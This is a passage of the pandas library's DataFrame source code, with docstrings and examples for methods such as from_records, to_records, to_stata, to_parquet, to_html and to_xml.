raise ValueError("DataFrame index must be unique for orient='index'.")
return into_c(
(t[0], dict(zip(self.columns, t[1:])))
for t in self.itertuples(name=None)
)
else:
raise ValueError(f"orient '{orient}' not understood")
def to_gbq(
self,
destination_table: str,
project_id: str | None = None,
chunksize: int | None = None,
reauth: bool = False,
if_exists: str = "fail",
auth_local_webserver: bool = False,
table_schema: list[dict[str, str]] | None = None,
location: str | None = None,
progress_bar: bool = True,
credentials=None,
) -> None:
"""
Write a DataFrame to a Google BigQuery table.
This function requires the `pandas-gbq package
<https://pandas-gbq.readthedocs.io>`__.
See the `How to authenticate with Google BigQuery
<https://pandas-gbq.readthedocs.io/en/latest/howto/authentication.html>`__
guide for authentication instructions.
Parameters
----------
destination_table : str
Name of table to be written, in the form ``dataset.tablename``.
project_id : str, optional
Google BigQuery Account project ID. Optional when available from
the environment.
chunksize : int, optional
Number of rows to be inserted in each chunk from the dataframe.
Set to ``None`` to load the whole dataframe at once.
reauth : bool, default False
Force Google BigQuery to re-authenticate the user. This is useful
if multiple accounts are used.
if_exists : str, default 'fail'
Behavior when the destination table exists. Value can be one of:
``'fail'``
If table exists raise pandas_gbq.gbq.TableCreationError.
``'replace'``
If table exists, drop it, recreate it, and insert data.
``'append'``
If table exists, insert data. Create if does not exist.
auth_local_webserver : bool, default False
Use the `local webserver flow`_ instead of the `console flow`_
when getting user credentials.
.. _local webserver flow:
https://google-auth-oauthlib.readthedocs.io/en/latest/reference/google_auth_oauthlib.flow.html#google_auth_oauthlib.flow.InstalledAppFlow.run_local_server
.. _console flow:
https://google-auth-oauthlib.readthedocs.io/en/latest/reference/google_auth_oauthlib.flow.html#google_auth_oauthlib.flow.InstalledAppFlow.run_console
*New in version 0.2.0 of pandas-gbq*.
table_schema : list of dicts, optional
List of BigQuery table fields to which according DataFrame
columns conform to, e.g. ``[{'name': 'col1', 'type':
'STRING'},...]``. If schema is not provided, it will be
generated according to dtypes of DataFrame columns. See
BigQuery API documentation on available names of a field.
*New in version 0.3.1 of pandas-gbq*.
location : str, optional
Location where the load job should run. See the `BigQuery locations
documentation
<https://cloud.google.com/bigquery/docs/dataset-locations>`__ for a
list of available locations. The location must match that of the
target dataset.
*New in version 0.5.0 of pandas-gbq*.
progress_bar : bool, default True
Use the library `tqdm` to show the progress bar for the upload,
chunk by chunk.
*New in version 0.5.0 of pandas-gbq*.
credentials : google.auth.credentials.Credentials, optional
Credentials for accessing Google APIs. Use this parameter to
override default credentials, such as to use Compute Engine
:class:`google.auth.compute_engine.Credentials` or Service
Account :class:`google.oauth2.service_account.Credentials`
directly.
*New in version 0.8.0 of pandas-gbq*.
See Also
--------
pandas_gbq.to_gbq : This function in the pandas-gbq library.
read_gbq : Read a DataFrame from Google BigQuery.
"""
from pandas.io import gbq
gbq.to_gbq(
self,
destination_table,
project_id=project_id,
chunksize=chunksize,
reauth=reauth,
if_exists=if_exists,
auth_local_webserver=auth_local_webserver,
table_schema=table_schema,
location=location,
progress_bar=progress_bar,
credentials=credentials,
)
@classmethod
def from_records(
cls,
data,
index=None,
exclude=None,
columns=None,
coerce_float: bool = False,
nrows: int | None = None,
) -> DataFrame:
"""
Convert structured or record ndarray to DataFrame.
Creates a DataFrame object from a structured ndarray, sequence of
tuples or dicts, or DataFrame.
Parameters
----------
data : structured ndarray, sequence of tuples or dicts, or DataFrame
Structured input data.
index : str, list of fields, array-like
Field of array to use as the index, alternately a specific set of
input labels to use.
exclude : sequence, default None
Columns or fields to exclude.
columns : sequence, default None
Column names to use. If the passed data do not have names
associated with them, this argument provides names for the
columns. Otherwise this argument indicates the order of the columns
in the result (any names not found in the data will become all-NA
columns).
coerce_float : bool, default False
Attempt to convert values of non-string, non-numeric objects (like
decimal.Decimal) to floating point, useful for SQL result sets.
nrows : int, default None
Number of rows to read if data is an iterator.
Returns
-------
DataFrame
See Also
--------
DataFrame.from_dict : DataFrame from dict of array-like or dicts.
DataFrame : DataFrame object creation using constructor.
Examples
--------
Data can be provided as a structured ndarray:
>>> data = np.array([(3, 'a'), (2, 'b'), (1, 'c'), (0, 'd')],
... dtype=[('col_1', 'i4'), ('col_2', 'U1')])
>>> pd.DataFrame.from_records(data)
col_1 col_2
0 3 a
1 2 b
2 1 c
3 0 d
Data can be provided as a list of dicts:
>>> data = [{'col_1': 3, 'col_2': 'a'},
... {'col_1': 2, 'col_2': 'b'},
... {'col_1': 1, 'col_2': 'c'},
... {'col_1': 0, 'col_2': 'd'}]
>>> pd.DataFrame.from_records(data)
col_1 col_2
0 3 a
1 2 b
2 1 c
3 0 d
Data can be provided as a list of tuples with corresponding columns:
>>> data = [(3, 'a'), (2, 'b'), (1, 'c'), (0, 'd')]
>>> pd.DataFrame.from_records(data, columns=['col_1', 'col_2'])
col_1 col_2
0 3 a
1 2 b
2 1 c
3 0 d
"""
result_index = None
# Make a copy of the input columns so we can modify it
if columns is not None:
columns = ensure_index(columns)
def maybe_reorder(
arrays: list[ArrayLike], arr_columns: Index, columns: Index, index
) -> tuple[list[ArrayLike], Index, Index | None]:
"""
If our desired 'columns' do not match the data's pre-existing 'arr_columns',
we re-order our arrays. This is like a pre-emptive (cheap) reindex.
"""
if len(arrays):
length = len(arrays[0])
else:
length = 0
result_index = None
if len(arrays) == 0 and index is None and length == 0:
# for backward compat use an object Index instead of RangeIndex
result_index = Index([])
arrays, arr_columns = reorder_arrays(arrays, arr_columns, columns, length)
return arrays, arr_columns, result_index
if is_iterator(data):
if nrows == 0:
return cls()
try:
first_row = next(data)
except StopIteration:
return cls(index=index, columns=columns)
dtype = None
if hasattr(first_row, "dtype") and first_row.dtype.names:
dtype = first_row.dtype
values = [first_row]
if nrows is None:
values += data
else:
values.extend(itertools.islice(data, nrows - 1))
if dtype is not None:
data = np.array(values, dtype=dtype)
else:
data = values
if isinstance(data, dict):
if columns is None:
columns = arr_columns = ensure_index(sorted(data))
arrays = [data[k] for k in columns]
else:
arrays = []
arr_columns_list = []
for k, v in data.items():
if k in columns:
arr_columns_list.append(k)
arrays.append(v)
arr_columns = Index(arr_columns_list)
arrays, arr_columns, result_index = maybe_reorder(
arrays, arr_columns, columns, index
)
elif isinstance(data, (np.ndarray, DataFrame)):
arrays, columns = to_arrays(data, columns)
arr_columns = columns
else:
arrays, arr_columns = to_arrays(data, columns)
if coerce_float:
for i, arr in enumerate(arrays):
if arr.dtype == object:
# error: Argument 1 to "maybe_convert_objects" has
# incompatible type "Union[ExtensionArray, ndarray]";
# expected "ndarray"
arrays[i] = lib.maybe_convert_objects(
arr, # type: ignore[arg-type]
try_float=True,
)
arr_columns = ensure_index(arr_columns)
if columns is None:
columns = arr_columns
else:
arrays, arr_columns, result_index = maybe_reorder(
arrays, arr_columns, columns, index
)
if exclude is None:
exclude = set()
else:
exclude = set(exclude)
if index is not None:
if isinstance(index, str) or not hasattr(index, "__iter__"):
i = columns.get_loc(index)
exclude.add(index)
if len(arrays) > 0:
result_index = Index(arrays[i], name=index)
else:
result_index = Index([], name=index)
else:
try:
index_data = [arrays[arr_columns.get_loc(field)] for field in index]
except (KeyError, TypeError):
# raised by get_loc, see GH#29258
result_index = index
else:
result_index = ensure_index_from_sequences(index_data, names=index)
exclude.update(index)
if any(exclude):
arr_exclude = [x for x in exclude if x in arr_columns]
to_remove = [arr_columns.get_loc(col) for col in arr_exclude]
arrays = [v for i, v in enumerate(arrays) if i not in to_remove]
columns = columns.drop(exclude)
manager = get_option("mode.data_manager")
mgr = arrays_to_mgr(arrays, columns, result_index, typ=manager)
return cls(mgr)
def to_records(
self, index=True, column_dtypes=None, index_dtypes=None
) -> np.recarray:
"""
Convert DataFrame to a NumPy record array.
Index will be included as the first field of the record array if
requested.
Parameters
----------
index : bool, default True
Include index in resulting record array, stored in 'index'
field or using the index label, if set.
column_dtypes : str, type, dict, default None
If a string or type, the data type to store all columns. If
a dictionary, a mapping of column names and indices (zero-indexed)
to specific data types.
index_dtypes : str, type, dict, default None
If a string or type, the data type to store all index levels. If
a dictionary, a mapping of index level names and indices
(zero-indexed) to specific data types.
This mapping is applied only if `index=True`.
Returns
-------
numpy.recarray
NumPy ndarray with the DataFrame labels as fields and each row
of the DataFrame as entries.
See Also
--------
DataFrame.from_records: Convert structured or record ndarray
to DataFrame.
numpy.recarray: An ndarray that allows field access using
attributes, analogous to typed columns in a
spreadsheet.
Examples
--------
>>> df = pd.DataFrame({'A': [1, 2], 'B': [0.5, 0.75]},
... index=['a', 'b'])
>>> df
A B
a 1 0.50
b 2 0.75
>>> df.to_records()
rec.array([('a', 1, 0.5 ), ('b', 2, 0.75)],
dtype=[('index', 'O'), ('A', '<i8'), ('B', '<f8')])
If the DataFrame index has no label then the recarray field name
is set to 'index'. If the index has a label then this is used as the
field name:
>>> df.index = df.index.rename("I")
>>> df.to_records()
rec.array([('a', 1, 0.5 ), ('b', 2, 0.75)],
dtype=[('I', 'O'), ('A', '<i8'), ('B', '<f8')])
The index can be excluded from the record array:
>>> df.to_records(index=False)
rec.array([(1, 0.5 ), (2, 0.75)],
dtype=[('A', '<i8'), ('B', '<f8')])
Data types can be specified for the columns:
>>> df.to_records(column_dtypes={"A": "int32"})
rec.array([('a', 1, 0.5 ), ('b', 2, 0.75)],
dtype=[('I', 'O'), ('A', '<i4'), ('B', '<f8')])
As well as for the index:
>>> df.to_records(index_dtypes="<S2")
rec.array([(b'a', 1, 0.5 ), (b'b', 2, 0.75)],
dtype=[('I', 'S2'), ('A', '<i8'), ('B', '<f8')])
>>> index_dtypes = f"<S{df.index.str.len().max()}"
>>> df.to_records(index_dtypes=index_dtypes)
rec.array([(b'a', 1, 0.5 ), (b'b', 2, 0.75)],
dtype=[('I', 'S1'), ('A', '<i8'), ('B', '<f8')])
"""
if index:
if isinstance(self.index, MultiIndex):
# array of tuples to numpy cols. copy copy copy
ix_vals = list(map(np.array, zip(*self.index._values)))
else:
# error: List item 0 has incompatible type "ArrayLike"; expected
# "ndarray"
ix_vals = [self.index.values] # type: ignore[list-item]
arrays = ix_vals + [
np.asarray(self.iloc[:, i]) for i in range(len(self.columns))
]
index_names = list(self.index.names)
if isinstance(self.index, MultiIndex):
index_names = com.fill_missing_names(index_names)
elif index_names[0] is None:
index_names = ["index"]
names = [str(name) for name in itertools.chain(index_names, self.columns)]
else:
arrays = [np.asarray(self.iloc[:, i]) for i in range(len(self.columns))]
names = [str(c) for c in self.columns]
index_names = []
index_len = len(index_names)
formats = []
for i, v in enumerate(arrays):
index = i
# When the names and arrays are collected, we
# first collect those in the DataFrame's index,
# followed by those in its columns.
#
# Thus, the total length of the array is:
# len(index_names) + len(DataFrame.columns).
#
# This check allows us to see whether we are
# handling a name / array in the index or column.
if index < index_len:
dtype_mapping = index_dtypes
name = index_names[index]
else:
index -= index_len
dtype_mapping = column_dtypes
name = self.columns[index]
# We have a dictionary, so we get the data type
# associated with the index or column (which can
# be denoted by its name in the DataFrame or its
# position in DataFrame's array of indices or
# columns, whichever is applicable.
if is_dict_like(dtype_mapping):
if name in dtype_mapping:
dtype_mapping = dtype_mapping[name]
elif index in dtype_mapping:
dtype_mapping = dtype_mapping[index]
else:
dtype_mapping = None
# If no mapping can be found, use the array's
# dtype attribute for formatting.
#
# A valid dtype must either be a type or
# string naming a type.
if dtype_mapping is None:
formats.append(v.dtype)
elif isinstance(dtype_mapping, (type, np.dtype, str)):
# Argument 1 to "append" of "list" has incompatible type
# "Union[type, dtype[Any], str]"; expected "dtype[_SCT]" [arg-type]
formats.append(dtype_mapping) # type: ignore[arg-type]
else:
element = "row" if i < index_len else "column"
msg = f"Invalid dtype {dtype_mapping} specified for {element} {name}"
raise ValueError(msg)
return np.rec.fromarrays(arrays, dtype={"names": names, "formats": formats})
@classmethod
def _from_arrays(
cls,
arrays,
columns,
index,
dtype: Dtype | None = None,
verify_integrity: bool = True,
) -> DataFrame:
"""
Create DataFrame from a list of arrays corresponding to the columns.
Parameters
----------
arrays : list-like of arrays
Each array in the list corresponds to one column, in order.
columns : list-like, Index
The column names for the resulting DataFrame.
index : list-like, Index
The rows labels for the resulting DataFrame.
dtype : dtype, optional
Optional dtype to enforce for all arrays.
verify_integrity : bool, default True
Validate and homogenize all input. If set to False, it is assumed
that all elements of `arrays` are actual arrays how they will be
stored in a block (numpy ndarray or ExtensionArray), have the same
length as and are aligned with the index, and that `columns` and
`index` are ensured to be an Index object.
Returns
-------
DataFrame
"""
if dtype is not None:
dtype = pandas_dtype(dtype)
manager = get_option("mode.data_manager")
columns = ensure_index(columns)
if len(columns) != len(arrays):
raise ValueError("len(columns) must match len(arrays)")
mgr = arrays_to_mgr(
arrays,
columns,
index,
dtype=dtype,
verify_integrity=verify_integrity,
typ=manager,
)
return cls(mgr)
@doc(
storage_options=_shared_docs["storage_options"],
compression_options=_shared_docs["compression_options"] % "path",
)
@deprecate_kwarg(old_arg_name="fname", new_arg_name="path")
def to_stata(
self,
path: FilePath | WriteBuffer[bytes],
convert_dates: dict[Hashable, str] | None = None,
write_index: bool = True,
byteorder: str | None = None,
time_stamp: datetime.datetime | None = None,
data_label: str | None = None,
variable_labels: dict[Hashable, str] | None = None,
version: int | None = 114,
convert_strl: Sequence[Hashable] | None = None,
compression: CompressionOptions = "infer",
storage_options: StorageOptions = None,
*,
value_labels: dict[Hashable, dict[float | int, str]] | None = None,
) -> None:
"""
Export DataFrame object to Stata dta format.
Writes the DataFrame to a Stata dataset file.
"dta" files contain a Stata dataset.
Parameters
----------
path : str, path object, or buffer
String, path object (implementing ``os.PathLike[str]``), or file-like
object implementing a binary ``write()`` function.
.. versionchanged:: 1.0.0
Previously this was "fname"
convert_dates : dict
Dictionary mapping columns containing datetime types to stata
internal format to use when writing the dates. Options are 'tc',
'td', 'tm', 'tw', 'th', 'tq', 'ty'. Column can be either an integer
or a name. Datetime columns that do not have a conversion type
specified will be converted to 'tc'. Raises NotImplementedError if
a datetime column has timezone information.
write_index : bool
Write the index to Stata dataset.
byteorder : str
Can be ">", "<", "little", or "big". default is `sys.byteorder`.
time_stamp : datetime
A datetime to use as file creation date. Default is the current
time.
data_label : str, optional
A label for the data set. Must be 80 characters or smaller.
variable_labels : dict
Dictionary containing columns as keys and variable labels as
values. Each label must be 80 characters or smaller.
version : {{114, 117, 118, 119, None}}, default 114
Version to use in the output dta file. Set to None to let pandas
decide between 118 or 119 formats depending on the number of
columns in the frame. Version 114 can be read by Stata 10 and
later. Version 117 can be read by Stata 13 or later. Version 118
is supported in Stata 14 and later. Version 119 is supported in
Stata 15 and later. Version 114 limits string variables to 244
characters or fewer while versions 117 and later allow strings
with lengths up to 2,000,000 characters. Versions 118 and 119
support Unicode characters, and version 119 supports more than
32,767 variables.
Version 119 should usually only be used when the number of
variables exceeds the capacity of dta format 118. Exporting
smaller datasets in format 119 may have unintended consequences,
and, as of November 2020, Stata SE cannot read version 119 files.
.. versionchanged:: 1.0.0
Added support for formats 118 and 119.
convert_strl : list, optional
List of column names to convert to string columns to Stata StrL
format. Only available if version is 117. Storing strings in the
StrL format can produce smaller dta files if strings have more than
8 characters and values are repeated.
{compression_options}
.. versionadded:: 1.1.0
.. versionchanged:: 1.4.0 Zstandard support.
{storage_options}
.. versionadded:: 1.2.0
value_labels : dict of dicts
Dictionary containing columns as keys and dictionaries of column value
to labels as values. Labels for a single variable must be 32,000
characters or smaller.
.. versionadded:: 1.4.0
Raises
------
NotImplementedError
* If datetimes contain timezone information
* Column dtype is not representable in Stata
ValueError
* Columns listed in convert_dates are neither datetime64[ns]
or datetime.datetime
* Column listed in convert_dates is not in DataFrame
* Categorical label contains more than 32,000 characters
See Also
--------
read_stata : Import Stata data files.
io.stata.StataWriter : Low-level writer for Stata data files.
io.stata.StataWriter117 : Low-level writer for version 117 files.
Examples
--------
>>> df = pd.DataFrame({{'animal': ['falcon', 'parrot', 'falcon',
... 'parrot'],
... 'speed': [350, 18, 361, 15]}})
>>> df.to_stata('animals.dta') # doctest: +SKIP
"""
if version not in (114, 117, 118, 119, None):
raise ValueError("Only formats 114, 117, 118 and 119 are supported.")
if version == 114:
if convert_strl is not None:
raise ValueError("strl is not supported in format 114")
from pandas.io.stata import StataWriter as statawriter
elif version == 117:
# mypy: Name 'statawriter' already defined (possibly by an import)
from pandas.io.stata import ( # type: ignore[no-redef]
StataWriter117 as statawriter,
)
else: # versions 118 and 119
# mypy: Name 'statawriter' already defined (possibly by an import)
from pandas.io.stata import ( # type: ignore[no-redef]
StataWriterUTF8 as statawriter,
)
kwargs: dict[str, Any] = {}
if version is None or version >= 117:
# strl conversion is only supported >= 117
kwargs["convert_strl"] = convert_strl
if version is None or version >= 118:
# Specifying the version is only supported for UTF8 (118 or 119)
kwargs["version"] = version
writer = statawriter(
path,
self,
convert_dates=convert_dates,
byteorder=byteorder,
time_stamp=time_stamp,
data_label=data_label,
write_index=write_index,
variable_labels=variable_labels,
compression=compression,
storage_options=storage_options,
value_labels=value_labels,
**kwargs,
)
writer.write_file()
@deprecate_kwarg(old_arg_name="fname", new_arg_name="path")
def to_feather(self, path: FilePath | WriteBuffer[bytes], **kwargs) -> None:
"""
Write a DataFrame to the binary Feather format.
Parameters
----------
path : str, path object, file-like object
String, path object (implementing ``os.PathLike[str]``), or file-like
object implementing a binary ``write()`` function. If a string or a path,
it will be used as Root Directory path when writing a partitioned dataset.
**kwargs :
Additional keywords passed to :func:`pyarrow.feather.write_feather`.
Starting with pyarrow 0.17, this includes the `compression`,
`compression_level`, `chunksize` and `version` keywords.
.. versionadded:: 1.1.0
Notes
-----
This function writes the dataframe as a `feather file
<https://arrow.apache.org/docs/python/feather.html>`_. Requires a default
index. For saving the DataFrame with your custom index use a method that
supports custom indices e.g. `to_parquet`.
"""
from pandas.io.feather_format import to_feather
to_feather(self, path, **kwargs)
@doc(
Series.to_markdown,
klass=_shared_doc_kwargs["klass"],
storage_options=_shared_docs["storage_options"],
examples="""Examples
--------
>>> df = pd.DataFrame(
... data={"animal_1": ["elk", "pig"], "animal_2": ["dog", "quetzal"]}
... )
>>> print(df.to_markdown())
| | animal_1 | animal_2 |
|---:|:-----------|:-----------|
| 0 | elk | dog |
| 1 | pig | quetzal |
Output markdown with a tabulate option.
>>> print(df.to_markdown(tablefmt="grid"))
+----+------------+------------+
| | animal_1 | animal_2 |
+====+============+============+
| 0 | elk | dog |
+----+------------+------------+
| 1 | pig | quetzal |
+----+------------+------------+""",
)
def to_markdown(
self,
buf: IO[str] | str | None = None,
mode: str = "wt",
index: bool = True,
storage_options: StorageOptions = None,
**kwargs,
) -> str | None:
if "showindex" in kwargs:
warnings.warn(
"'showindex' is deprecated. Only 'index' will be used "
"in a future version. Use 'index' to silence this warning.",
FutureWarning,
stacklevel=find_stack_level(),
)
kwargs.setdefault("headers", "keys")
kwargs.setdefault("tablefmt", "pipe")
kwargs.setdefault("showindex", index)
tabulate = import_optional_dependency("tabulate")
result = tabulate.tabulate(self, **kwargs)
if buf is None:
return result
with get_handle(buf, mode, storage_options=storage_options) as handles:
handles.handle.write(result)
return None
@doc(storage_options=_shared_docs["storage_options"])
@deprecate_kwarg(old_arg_name="fname", new_arg_name="path")
def to_parquet(
self,
path: FilePath | WriteBuffer[bytes] | None = None,
engine: str = "auto",
compression: str | None = "snappy",
index: bool | None = None,
partition_cols: list[str] | None = None,
storage_options: StorageOptions = None,
**kwargs,
) -> bytes | None:
"""
Write a DataFrame to the binary parquet format.
This function writes the dataframe as a `parquet file
<https://parquet.apache.org/>`_. You can choose different parquet
backends, and have the option of compression. See
:ref:`the user guide <io.parquet>` for more details.
Parameters
----------
path : str, path object, file-like object, or None, default None
String, path object (implementing ``os.PathLike[str]``), or file-like
object implementing a binary ``write()`` function. If None, the result is
returned as bytes. If a string or path, it will be used as Root Directory
path when writing a partitioned dataset.
.. versionchanged:: 1.2.0
Previously this was "fname"
engine : {{'auto', 'pyarrow', 'fastparquet'}}, default 'auto'
Parquet library to use. If 'auto', then the option
``io.parquet.engine`` is used. The default ``io.parquet.engine``
behavior is to try 'pyarrow', falling back to 'fastparquet' if
'pyarrow' is unavailable.
compression : {{'snappy', 'gzip', 'brotli', None}}, default 'snappy'
Name of the compression to use. Use ``None`` for no compression.
index : bool, default None
If ``True``, include the dataframe's index(es) in the file output.
If ``False``, they will not be written to the file.
If ``None``, similar to ``True`` the dataframe's index(es)
will be saved. However, instead of being saved as values,
the RangeIndex will be stored as a range in the metadata so it
doesn't require much space and is faster. Other indexes will
be included as columns in the file output.
partition_cols : list, optional, default None
Column names by which to partition the dataset.
Columns are partitioned in the order they are given.
Must be None if path is not a string.
{storage_options}
.. versionadded:: 1.2.0
**kwargs
Additional arguments passed to the parquet library. See
:ref:`pandas io <io.parquet>` for more details.
Returns
-------
bytes if no path argument is provided else None
See Also
--------
read_parquet : Read a parquet file.
DataFrame.to_csv : Write a csv file.
DataFrame.to_sql : Write to a sql table.
DataFrame.to_hdf : Write to hdf.
Notes
-----
This function requires either the `fastparquet
<https://pypi.org/project/fastparquet>`_ or `pyarrow
<https://arrow.apache.org/docs/python/>`_ library.
Examples
--------
>>> df = pd.DataFrame(data={{'col1': [1, 2], 'col2': [3, 4]}})
>>> df.to_parquet('df.parquet.gzip',
... compression='gzip') # doctest: +SKIP
>>> pd.read_parquet('df.parquet.gzip') # doctest: +SKIP
col1 col2
0 1 3
1 2 4
If you want to get a buffer to the parquet content you can use a io.BytesIO
object, as long as you don't use partition_cols, which creates multiple files.
>>> import io
>>> f = io.BytesIO()
>>> df.to_parquet(f)
>>> f.seek(0)
0
>>> content = f.read()
"""
from pandas.io.parquet import to_parquet
return to_parquet(
self,
path,
engine,
compression=compression,
index=index,
partition_cols=partition_cols,
storage_options=storage_options,
**kwargs,
)
@Substitution(
header_type="bool",
header="Whether to print column labels, default True",
col_space_type="str or int, list or dict of int or str",
col_space="The minimum width of each column in CSS length "
"units. An int is assumed to be px units.\n\n"
" .. versionadded:: 0.25.0\n"
" Ability to use str",
)
@Substitution(shared_params=fmt.common_docstring, returns=fmt.return_docstring)
def to_html(
self,
buf: FilePath | WriteBuffer[str] | None = None,
columns: Sequence[str] | None = None,
col_space: ColspaceArgType | None = None,
header: bool | Sequence[str] = True,
index: bool = True,
na_rep: str = "NaN",
formatters: FormattersType | None = None,
float_format: FloatFormatType | None = None,
sparsify: bool | None = None,
index_names: bool = True,
justify: str | None = None,
max_rows: int | None = None,
max_cols: int | None = None,
show_dimensions: bool | str = False,
decimal: str = ".",
bold_rows: bool = True,
classes: str | list | tuple | None = None,
escape: bool = True,
notebook: bool = False,
border: int | None = None,
table_id: str | None = None,
render_links: bool = False,
encoding: str | None = None,
):
"""
Render a DataFrame as an HTML table.
%(shared_params)s
bold_rows : bool, default True
Make the row labels bold in the output.
classes : str or list or tuple, default None
CSS class(es) to apply to the resulting html table.
escape : bool, default True
Convert the characters <, >, and & to HTML-safe sequences.
notebook : {True, False}, default False
Whether the generated HTML is for IPython Notebook.
border : int
A ``border=border`` attribute is included in the opening
`<table>` tag. Default ``pd.options.display.html.border``.
table_id : str, optional
A css id is included in the opening `<table>` tag if specified.
render_links : bool, default False
Convert URLs to HTML links.
encoding : str, default "utf-8"
Set character encoding.
.. versionadded:: 1.0
%(returns)s
See Also
--------
to_string : Convert DataFrame to a string.
"""
if justify is not None and justify not in fmt._VALID_JUSTIFY_PARAMETERS:
raise ValueError("Invalid value for justify parameter")
formatter = fmt.DataFrameFormatter(
self,
columns=columns,
col_space=col_space,
na_rep=na_rep,
header=header,
index=index,
formatters=formatters,
float_format=float_format,
bold_rows=bold_rows,
sparsify=sparsify,
justify=justify,
index_names=index_names,
escape=escape,
decimal=decimal,
max_rows=max_rows,
max_cols=max_cols,
show_dimensions=show_dimensions,
)
# TODO: a generic formatter wld b in DataFrameFormatter
return fmt.DataFrameRenderer(formatter).to_html(
buf=buf,
classes=classes,
notebook=notebook,
border=border,
encoding=encoding,
table_id=table_id,
render_links=render_links,
)
@doc(
storage_options=_shared_docs["storage_options"],
compression_options=_shared_docs["compression_options"] % "path_or_buffer",
)
def to_xml(
self,
path_or_buffer: FilePath | WriteBuffer[bytes] | WriteBuffer[str] | None = None,
index: bool = True,
root_name: str | None = "data",
row_name: str | None = "row",
na_rep: str | None = None,
attr_cols: list[str] | None = None,
elem_cols: list[str] | None = None,
namespaces: dict[str | None, str] | None = None,
prefix: str | None = None,
encoding: str = "utf-8",
xml_declaration: bool | None = True,
pretty_print: bool | None = True,
parser: str | None = "lxml",
stylesheet: FilePath | ReadBuffer[str] | ReadBuffer[bytes] | None = None,
compression: CompressionOptions = "infer",
storage_options: StorageOptions = None,
) -> str | None:
"""
Render a DataFrame to an XML document.
.. versionadded:: 1.3.0
Parameters
----------
path_or_buffer : str, path object, file-like object, or None, default None
String, path object (implementing ``os.PathLike[str]``), or file-like
object implementing a ``write()`` function. If None, the result is returned
as a string.
index : bool, default True
Whether to include index in XML document.
root_name : str, default 'data'
The name of root element in XML document.
row_name : str, default 'row'
The name of row element in XML document.
na_rep : str, optional
Missing data representation.
attr_cols : list-like, optional
List of columns to write as attributes in row element.
Hierarchical columns will be flattened with underscore
delimiting the different levels.
elem_cols : list-like, optional
List of columns to write as children in row element. By default,
all columns output as children of row element. Hierarchical
columns will be flattened with underscore delimiting the
different levels.
namespaces : dict, optional
All namespaces to be defined in root element. Keys of dict
should be prefix names and values of dict corresponding URIs.
Default namespaces should be given empty string key. For
example, ::
namespaces = {{"": "https://example.com"}}
prefix : str, optional
Namespace prefix to be used for every element and/or attribute
in document. This should be one of the keys in ``namespaces``
dict.
encoding : str, default 'utf-8'
Encoding of the resulting document.
xml_declaration : bool, default True
Whether to include the XML declaration at start of document.
pretty_print : bool, default True
Whether output should be pretty printed with indentation and
line breaks.
parser : {{'lxml','etree'}}, default 'lxml'
Parser module to use for building of tree. Only 'lxml' and
'etree' are supported. With 'lxml', the ability to use XSLT
stylesheet is supported.
stylesheet : str, path object or file-like object, optional
A URL, file-like object, or a raw string containing an XSLT
script used to transform the raw XML output. Script should use
layout of elements and attributes from original output. This
argument requires ``lxml`` to be installed. Only XSLT 1.0
scripts and not later versions is currently supported.
{compression_options}
.. versionchanged:: 1.4.0 Zstandard support.
{storage_options}
Returns
-------
None or str
If ``io`` is None, returns the resulting XML format as a
string. Otherwise returns None.
See Also
--------
to_json : Convert the pandas object to a JSON string.
to_html : Convert DataFrame to a html.
Examples
--------
>>> df = pd.DataFrame({{'shape': ['square', 'circle', 'triangle'],
... 'degrees': [360, 360, 180],
... 'sides': [4, np.nan, 3]}})
>>> df.to_xml() # doctest: +SKIP
<?xml version='1.0' encoding='utf-8'?>
<data>
<row>
<index>0</index>
<shape>square</shape>
<degrees>360</degrees>
<sides>4.0</sides>
</row>
<row>
<index>1</index>
<shape>circle</shape>
<degrees>360</degrees>
<sides/>
</row>
<row>
<index>2</index>
<shape>triangle</shape>
<degrees>180</degrees>
<sides>3.0</sides>
</row>
</data>
>>> df.to_xml(attr_cols=[
... 'index', 'shape', 'degrees', 'sides'
... ]) # doctest: +SKIP
<?xml version='1.0' encoding='utf-8'?>
<data>
<row index="0" shape="square" degrees="360" sides="4.0"/>
<row index="1" shape="circle" degrees="360"/>
<row index="2" shape="triangle" degrees="180" sides="3.0"/>
</data>
>>> df.to_xml(namespaces={{"doc": "https://example.com"}},
... prefix="doc") # doctest: +SKIP
<?xml version='1.0' encoding='utf-8'?>
<doc:data xmlns:doc="https://example.com">
<doc:row>
<doc:index>0</doc:index>
<doc:shape>square</doc:shape>
<doc:degrees>360</doc:degrees>
<doc:sides>4.0</doc:sides>
</doc:row>
<doc:row>
<doc:index>1</doc:index>
<doc:shape>circle</doc:shape>
<doc:degrees>360</doc:degrees>
<doc:sides/>
</doc:row>
<doc:row>
<doc:index>2</doc:index>
<doc:shape>triangle</doc:shape>
<doc:degrees>180</doc:degrees>
<doc:sides>3.0</doc:sides>
</doc:row>
</doc:data>
"""
from pandas.io.formats.xml import (
EtreeXMLFormatter,
LxmlXMLFormatter,
)
lxml = import_optional_dependency("lxml.etree", errors="ignore")
TreeBuilder: type[EtreeXMLFormatter] | type[LxmlXMLFormatter]
if parser == "lxml":
if lxml is not None:
TreeBuilder = LxmlXMLFormatter
else:
raise ImportError(
"lxml not found, please install or use the etree parser."
)
elif parser == "etree":
TreeBuilder = EtreeXMLFormatter
else:
raise ValueError("Values for parser can only be lxml or etree.")
xml_formatter = TreeBuilder(
self,
path_or_buffer=path_or_buffer,
index=index,
root_name=root_name,
row_name=row_name,
na_rep=na_rep,
attr_cols=attr_cols,
elem_cols=elem_cols,
namespaces=namespaces,
prefix=prefix,
encoding=encoding,
xml_declaration=xml_declaration,
pretty_print=pretty_print,
stylesheet=stylesheet,
compression=compression,
storage_options=storage_options,
)
return xml_formatter.write_output()
# ----------------------------------------------------------------------
@doc(INFO_DOCSTRING, **frame_sub_kwargs)
def info(
self,
verbose: bool | None = None,
buf: WriteBuffer[str] | None = None,
max_cols: int | None = None,
memory_usage: bool | str | None = None,
show_counts: bool | None = None,
null_counts: bool | None = None,
) -> None:
if null_counts is not None:
if show_counts is not None:
raise ValueError("null_counts used with show_counts. Use show_counts.")
warnings.warn(
"null_counts is deprecated. Use show_counts instead",
FutureWarning,
stacklevel=find_stack_level(),
)
show_counts = null_counts
info = DataFrameInfo(
data=self,
memory_usage=memory_usage,
)
info.render(
buf=buf,
max_cols=max_cols,
verbose=verbose,
show_counts=show_counts,
)
def memory_usage(self, index: bool = True, deep: bool = False) -> Series:
"""
Return the memory usage of each column in bytes.
The memory usage can optionally include the contribution of
the index and elements of `object` dtype.
This value is displayed in `DataFrame.info` by default. This can be
suppressed by setting ``pandas.options.display.memory_usage`` to False.
Parameters
----------
index : bool, default True
Specifies whether to include the memory usage of the DataFrame's
index in returned Series. If ``index=True``, the memory usage of
